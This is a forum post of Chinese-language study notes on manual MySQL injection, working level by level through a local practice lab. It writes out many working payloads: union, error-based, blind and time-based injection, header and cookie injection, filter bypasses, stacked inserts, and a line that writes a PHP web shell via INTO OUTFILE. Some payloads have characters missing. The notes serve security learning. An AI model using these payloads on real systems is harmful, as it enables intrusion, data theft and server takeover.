设为首页 收藏本站
查看: 1461|回复: 0

[经验分享] mysql手工注入学习笔记

[复制链接]

尚未签到

发表于 2018-9-29 09:19:12 | 显示全部楼层 |阅读模式
less-1(普通字符型)
  http://127.0.0.1/sql/Less-1/?id=1
  加’可知可能是字符型注入
DSC0000.jpg

  用and来确认
DSC0001.jpg

DSC0002.jpg

  说明存在注入
  order by查询字段数
DSC0003.jpg

DSC0004.jpg

  存在3个字段
  union select查询在页面中显示的位置
DSC0005.jpg

  查询数据库
DSC0006.jpg

  查询表
DSC0007.jpg

  查字段
DSC0008.jpg

DSC0009.jpg

  查内容
DSC00010.jpg

less2(普通数值型)
  数字型的
less3(带括号字符型)
  使用’可知可能是拼接型的字符型注入
DSC00011.jpg

  使用and判断
DSC00012.jpg

DSC00013.jpg

  确定是注入点
  order by查询字段数
DSC00014.jpg

DSC00015.jpg

less4(带括号双引号字符型)
  使用’以及数值型无法判断,使用%81也无法判断,使用”发现可能是双引号型的注入,并且是带括号的
DSC00016.jpg

  使用and
DSC00017.jpg

DSC00018.jpg

  order by
DSC00019.jpg

DSC00020.jpg

less5(双查询型单引号)
  使用’可知可能是字符型注入
DSC00021.jpg

  使用and
DSC00022.jpg

DSC00023.jpg

  初步确定注入
  order by确定字段数
DSC00024.jpg

  union select查看页面中显示位置
DSC00025.jpg

  失败,对于注入时没有在页面中显示位置的可使用双查询注入方法!
  使用双查询注入固定公式
  union select 1 from (select count(),concat(floor(rand(0)2),(注入语句))a from information_schema.tables group by a)b -- -
DSC00026.jpg

  查询表
DSC00027.jpg

  太多显示不了,使用limit查询
DSC00028.jpg

DSC00029.jpg

  http://127.0.0.1/sql/Less-5/?id=1'and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))>113 -- -
  ' or 1 group by concat_ws(0x3b,version(),floor(rand(0)*2)) having min(0) or '1
DSC00030.jpg

less6(双查询型双引号)
  使用’以及数值型注入无法判断,使用宽字节无法判断,使用”进行判断可知是双引号型的字符注入
DSC00031.jpg

  使用and
DSC00032.jpg

DSC00033.jpg

  order by
DSC00034.jpg

  union select
DSC00035.jpg

  无返回显示位,使用双查询注入
DSC00036.jpg

less7(双括号盲注mid,ascii,基于时间)
  使用’以及数值型无法判断,根据less2,猜测可能存在有括号的情况
DSC00037.jpg

DSC00038.jpg

  尝试把后面的一个and换成注释,发现失败
DSC00039.jpg

  猜测可能后面还有一个括号注释不了
  使用双括号试试
DSC00040.jpg

DSC00041.jpg

  使用order by
DSC00042.jpg

  使用union select
DSC00043.jpg

  没有回显,使用双查询注入失败
DSC00044.jpg

  使用mid函数进行盲注
  判断数据库长度
  AND ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0X20)),9,1))>1
DSC00045.jpg

DSC00046.jpg

DSC00047.jpg

  查询表
  AND ORD(MID((SELECT IFNULL(CAST(table_name AS CHAR),0x20) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=0x7365637572697479 LIMIT 0,1),1,1))>1 -- -
  LIMIT 0,1),1,1
  0,1第一张表是否存在,一次性查询一张表
  1,1第一个字符是否存在,一次性查询一个字符
  查询字段
  AND ORD(MID((SELECT IFNULL(CAST(column_name AS CHAR),0x20) FROM INFORMATION_SCHEMA.columnS WHERE table_schema=0x7365637572697479 LIMIT 0,1),1,1))>105 -- -
  查内容
  AND ORD(MID((SELECT IFNULL(CAST(id AS CHAR),0x20) FROM emails limit 0,1),1,1))>48 -- -
  使用ascii
  '))  and(ascii(substr((select(database())),8,1))>1)  and sleep(5) -- -
DSC00048.jpg

  可单独使用
  '))  and(ascii(substr((select(database())),8,1))>1)  -- -
DSC00049.jpg

DSC00050.jpg

less8(字符型盲注mid)
  使用’以及and可知存在注入
DSC00051.jpg

DSC00052.jpg

  order by
DSC00053.jpg

  union select不返回显示位
  使用双查询注入失败
  使用mid
DSC00054.jpg

DSC00055.jpg

  数据库总共有8个字符
less9(基于时间的盲注单引号)
  使用’以及数值型无法判断,使用宽字节无法判断,使用带括号无法判断,使用sleep判断
DSC00056.jpg

DSC00057.jpg

  带’试试
DSC00058.jpg

  初步判断为基于时间的盲注
  使用and
DSC00059.jpg

DSC00060.jpg

  使用mid
DSC00061.jpg

DSC00062.jpg

  使用ascii
  '  and(ascii(substr((select(database())),9,1))>1)  and sleep(5) and '1'='1
DSC00063.jpg

less10(基于时间的盲注双引号)
  使用’以及数值型无法判断,使用宽字节无法判断,使用带括号无法判断,使用sleep判断,以及使用单引号的sleep也无法判断出,根据less4猜测可能是双引号
DSC00064.jpg

DSC00065.jpg

  使用mid
DSC00066.jpg

less11(post 字符型)
  获取请求头参数
DSC00067.jpg

  post注入
  对uname进行注入探测
  使用’判断可能存在注入
DSC00068.jpg

  使用or进行进一步探测(主要是使用万能语句来判断,根据是否成功登陆,使用and的话想对麻烦点)
DSC00069.jpg

DSC00070.jpg

  在使用and来进一步注入
DSC00071.jpg

DSC00072.jpg

  常规字符注入
DSC00073.jpg

DSC00074.jpg

DSC00075.jpg

  使用双查询
DSC00076.jpg

  使用mid
DSC00077.jpg

less12(post 带括号字符型)
  使用’以及数值型无法判断,使用宽字节无法判断,使用双引号判断可能存在注入,且是带括号型的
DSC00078.jpg

  使用or
DSC00079.jpg

DSC00080.jpg

  order by
DSC00081.jpg

  union select
DSC00082.jpg

less13(带括号双查询)
  使用’可知是字符型的,且是带括号的
DSC00083.jpg

  使用and
DSC00084.jpg

DSC00085.jpg

  order by
DSC00086.jpg

  union select无返回显示位
DSC00087.jpg

  使用双查询
  union select 1 from (select count(),concat(floor(rand(0)2),(select database()))a from information_schema.tables group by a)b -- -
DSC00088.jpg

less14(双查询双引号)
DSC00089.jpg

less15(时间盲注,mid)
  使用’ 以及 or 以及order by
DSC00090.jpg

DSC00091.jpg

  union select不返回显示位,双查询失败
  使用sleep试试
DSC00092.jpg

DSC00093.jpg

less16(时间盲注,mid,带括号)
DSC00094.jpg

DSC00095.jpg

less17(显错注入)sqlmap挂
  这里提示是密码重置,应该是使用update更新语句,在insert、update、delete用法一致的时候,使用payload
  or updatexml(2,concat(0x1,(注入语句)),0) or '
DSC00096.jpg

DSC00097.jpg

  and extractvalue(1, concat(0x7f, (select version()),0x7f))
DSC00098.jpg

  and 1=(select from (select NAME_CONST(version(),1),NAME_CONST(version(),1)) as x)
DSC00099.jpg

  使用子查询
  ' or (SELECT 1 FROM(SELECT count(),concat((SELECT(SELECT concat(0x1, cast(database() as char), 0x1)) FROM information_schema.tables limit 0,1),floor(rand(0)*2))x FROM information_schema.columns group by x)a) or '

less18(user-agent显错,时间,子查询)
  通过页面查看可知本题注入存在于http请求包里面(如果没有提示的话就得先尝试登录框)!
  简单使用’对host以及User-Agent判断,可知注入点可能是User-Agent

  使用and,or,无法进一步判断,使用sleep进行尝试


  使用子查询
  ' or (SELECT 1 FROM(SELECT count(),concat((SELECT(SELECT concat(0x1,cast(database() as char),0x1)) FROM information_schema.tables limit 0,1),floor(rand(0)2))x FROM information_schema.columns group by x)a) or '
  ' or (SELECT 1 FROM(SELECT count(),concat((SELECT(SELECT concat(0x1,cast(database() as char),0x1))),floor(rand(0)2))x FROM information_schema.columns group by x)a) or '

  显错注入
  ' or updatexml(2,concat(0x1,(database()),0x1),0) or '

less19(referer显错,时间,子查询)
  referer字段可能存在注入
  使用’

  使用and or失败,使用sleep


  使用子查询
  ' or (SELECT 1 FROM(SELECT count(),concat((SELECT(SELECT concat(0x1,cast(database() as char),0x1))),floor(rand(0)2))x FROM information_schema.columns group by x)a) or '

  显错注入
  ' or updatexml(2,concat(0x1,(database()),0x1),0) or '

less20(cookie注入,双查询)
  使用’

  使用and


  union

  使用双查询

less21(cookie注入,base64编码)
  可知cookie是通过base64编码的

  使用’

  使用admin') and 1=1 -- -

  使用admin') and 1=2 -- -

  使用order by

  union
  admin') and 1=2 union select 1,2,3 -- -

less22(cookie注入,base64编码,双引号)
  使用’以及数值型,以及宽字节均无法判断,使用”可初步判断

  使用and

  使用admin" and 1=2 union select 1,2,3-- -


less23(显错注入,子查询)
  使用’

  使用and

  使用双查询失败
  使用显错注入
  or updatexml(2,concat(0x1,(注入语句)),0) or '

  使用子查询
  '  and (SELECT 1 FROM(SELECT count(),concat((SELECT(SELECT concat(0x1,cast(database() as char),0x1))),floor(rand(0)2))x FROM information_schema.columns group by x)a) and '

less24(二次注入)
  在登录的地方,请求的地方均未发现存在有注入,登录进去后发现有一个密码重置功能,考虑可能是update语句,可使用显错注入,但是提交的时候抓包没发现重置密码是提交的用户名,此时考虑可能存在二次注入。
  最基本的一个利用方法如下,已知系统中存在有admin这个账户,此时我们注册一个admin’ -- -的用户,登录进去后进行修改密码,这里按理解应该是修改admin’ -- -用户的密码,其实不然这是修改admin账户的密码,即使我们不知道admin的原密码。
  由于数据库设置了用户名长度,懒得改了,应该是可以使用显错注入的!
less25(字符注入,过滤一次and和or)
  使用’

  使用and或or

  可知过滤了and和or关键字,使用大小写失败

  使用双重嵌套,在and里面嵌套一个and


  也可以使用&&的URL编码%26%26

  使用order by

less25a(数值型,过滤一次and和or)
  使用’无法判断,使用数值型可判断
  使用aandnd 1=1
less26(字符注入,过滤空格及注释)
  使用’

  使用and

  过滤了空格以及注释,以及上一关的and,or,这个可以使用嵌套绕过,或者使用其符号(&& ||)的URL编码进行绕过!
  不使用空格及注释,使用&&或者||然后在使用显错注入
  -1%27 %26%26 extractvalue(1,concat(0x1,database()))%26%26'1'='1
  -1%27 || extractvalue(1,concat(0x1,database()))||'1'='1

  ' %26%26 updatexml(2,concat(0x1,(database())),0)%26%26'1'='1

  但是如果想继续往下查询就会发现空格怎么都需要啊,因此使用其他字符的编码进行绕过,linux使用%0a,windows使用%0a%0d,有时使用%0a也是可以的,但是我的环境就没有成功,通过对比可能是我mysql版本问题导致,因此根据自身环境来进行测试,为了忽略这个,因此后面的几关凡是涉及到过滤空格的代码我均进行注释掉,你们只需要知道空格可以使用上面的编码代替即可!
less26a(带括号,不显示mysql错误信息)
  使用’

  使用and

  过滤了and,注释



  最后一个截图我们可知查出来的依旧是id=1的数据,这里考虑可能存在括号

  带上括号试试

  不能使用order by,过滤了*不能使用子查询,不显示mysql错误信息,不能使用显错注入,使用union select进行猜测


  也可以这样使用2') aandnd 1=2 union select 1,2,('3

less27(显错注入,过滤)
  使用’

  使用and

  过滤了注释


  对于过滤了注释,所以后面的’就不能注释,所以可以考虑使用双查询以及报错注入进行尝试
  使用双查询

  过滤了union select
  使用嵌套

  过滤了*好,不能使用双查询,因此接着使用显错注入
  ' and updatexml(2,concat(0x1,(database())),0) and '1'='1

  查询表,从上可知select使用嵌套不能绕过,因此使用大小写混淆进行尝试

less27a(待定,双引号)
  使用’以及数值型注入以及宽字节均无法进行判断,使用双引号进行判断

  使用and

  过滤了注释


  过滤了注释,使用双查询或显错注入进行尝试
  过滤了*,不能使用双查询,不显示mysql错误信息,不能使用显错注入
  使用union select进行猜测



less28(过滤了union select,ascii模糊查询)
  使用'

  使用and

  过滤了注释



  可能存在有括号的情况

  不显示mysql错误信息不能使用显错注入,过滤了*不能使用双查询和子查询
  使用union select进行猜测

  过滤了union 和select,使用嵌套失败

  过滤了union select以及后面的一个空格(使用%a0可进行绕过,借的图)

  使用ascii
  ') and(ascii(substr((sElect(database())),1,1))>114)and('1'='1

less28a(过滤union select)
  同28,但是可以使用注释符
  使用order by

  使用union select,同28
  使用ascii

less29(HPP)
  使用’

  说明有一定的防护,此时我们可以尝试下编码,但是没成功,我们使用HPP(参数污染https://www.owasp.org/images/b/ba/AppsecEU09_CarettoniDiPaola_v0.8.pdf) 进行下一步的尝试

  使用’

  使用and


less30(HPP,双引号)
  使用’说明有防护,编码绕过失败,使用HPP

  使用’以及数值型,宽字节型失败,使用”

less31(HPP,双引号及括号)
  同上探测

  说明带括号双引号

less32(宽字节)
  使用’

  从上面可以简单看出本关使用宽字节,但是我们依旧按照上面的步骤进行,使用数值型无法判断,使用宽字节(http://eth10.blog.51cto.com/13143704/1962804 )初步判断可能存在注入

  使用and


  在查询表的时候使用十六进制
less33
  同上???
less34(宽字节,双查询)
  使用’,使用数值型无法进行判断,使用宽字节

  使用or


  使用双查询

less35(数值型)
  使用’失败

  使用数值型


  使用order by

less36
  同32
less37
  同34???
less38(堆叠查询)
  同1,另外就是可以使用;来进行多条语句的执行
  ';insert into users(id,username,password) values ('39','eth10','eth10')--+


less39
  同2
less40
  使用’

  使用and

  不能使用注释,或者说明后面可能还存在括号

  使用子查询失败,使用显错失败,使用盲注
  使用盲注ascii(可以使用基于时间的)
  '  and(ascii(substr((select(database())),8,1))>1) and '1'='1

  ');insert into users(id,username,password) values ('40','eth10','eth10'); and ('1'='1


less41
  同39


less42
  用户名随意
  密码:1';insert into users(id,username,password) values ('42','eth10','eth10')-- -
less43
  密码:1');insert into users(id,username,password) values ('42','eth10','eth10')-- -
less44
  同42
less45
  同43
less46(order by后的注入)
  通过对比可知注入点是order by后面的参数
  使用desc进行对比


  使用报错
  (select count() from information_schema.columns group by concat(0x1,(database()),0x1,floor(rand()2)) limit 0,1)


  下面这种对于limit后的注入依旧适用

  导出文件,写马
  sort=1 into outfile "F:\phpStudy\WWW\sql\Less-40\eth10.php"  lines terminated by 0x203C3F70687020406576616C28245F504F53545B226574683130225D293B3F3E


  使用盲注
  1 and If(ascii(substr(database(),1,1))=114,0,sleep(5))--+

less47
  通46,只是是字符型的
  '  procedure analyse(extractvalue(rand(),concat(0x1,version())),1)-- -
  ' and (updatexml(2,concat(0x1,(database())),0)) -- -

  使用延时注入1' and If(ascii(substr(database(),1,1))=114,0,sleep(5))--+

less48
  同46,不能使用显错可使用盲注

  使用rand
  rand(ascii(left(database(),1))=116)



less49
  同47,没错误回显
  延时盲注
  1' and (If(ascii(substr((database()),1,1))=114,0,sleep(5)))-- -


运维网声明 1、欢迎大家加入本站运维交流群:群②:261659950 群⑤:202807635 群⑦870801961 群⑧679858003
2、本站所有主题由该帖子作者发表,该帖子作者与运维网享有帖子相关版权
3、所有作品的著作权均归原作者享有,请您和我们一样尊重他人的著作权等合法权益。如果您对作品感到满意,请购买正版
4、禁止制作、复制、发布和传播具有反动、淫秽、色情、暴力、凶杀等内容的信息,一经发现立即删除。若您因此触犯法律,一切后果自负,我们对此不承担任何责任
5、所有资源均系网友上传或者通过网络收集,我们仅提供一个展示、介绍、观摩学习的平台,我们不对其内容的准确性、可靠性、正当性、安全性、合法性等负责,亦不承担任何法律责任
6、所有作品仅供您个人学习、研究或欣赏,不得用于商业或者其他用途,否则,一切后果均由您自己承担,我们对此不承担任何法律责任
7、如涉及侵犯版权等问题,请您及时通知我们,我们将立即采取措施予以解决
8、联系人Email:admin@iyunv.com 网址:www.yunweiku.com

所有资源均系网友上传或者通过网络收集,我们仅提供一个展示、介绍、观摩学习的平台,我们不对其承担任何法律责任,如涉及侵犯版权等问题,请您及时通知我们,我们将立即处理,联系人Email:kefu@iyunv.com,QQ:1061981298 本贴地址:https://www.yunweiku.com/thread-603577-1-1.html 上篇帖子: CentOS6.9安装mysql5.7.21教程 下篇帖子: MySQL主从复制架构
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

扫码加入运维网微信交流群X

扫码加入运维网微信交流群

扫描二维码加入运维网微信交流群,最新一手资源尽在官方微信交流群!快快加入我们吧...

扫描微信二维码查看详情

客服E-mail:kefu@iyunv.com 客服QQ:1061981298


QQ群⑦:运维网交流群⑦ QQ群⑧:运维网交流群⑧ k8s群:运维网kubernetes交流群


提醒:禁止发布任何违反国家法律、法规的言论与图片等内容;本站内容均来自个人观点与网络等信息,非本站认同之观点.


本站大部分资源是网友从网上搜集分享而来,其版权均归原作者及其网站所有,我们尊重他人的合法权益,如有内容侵犯您的合法权益,请及时与我们联系进行核实删除!



合作伙伴: 青云cloud

快速回复 返回顶部 返回列表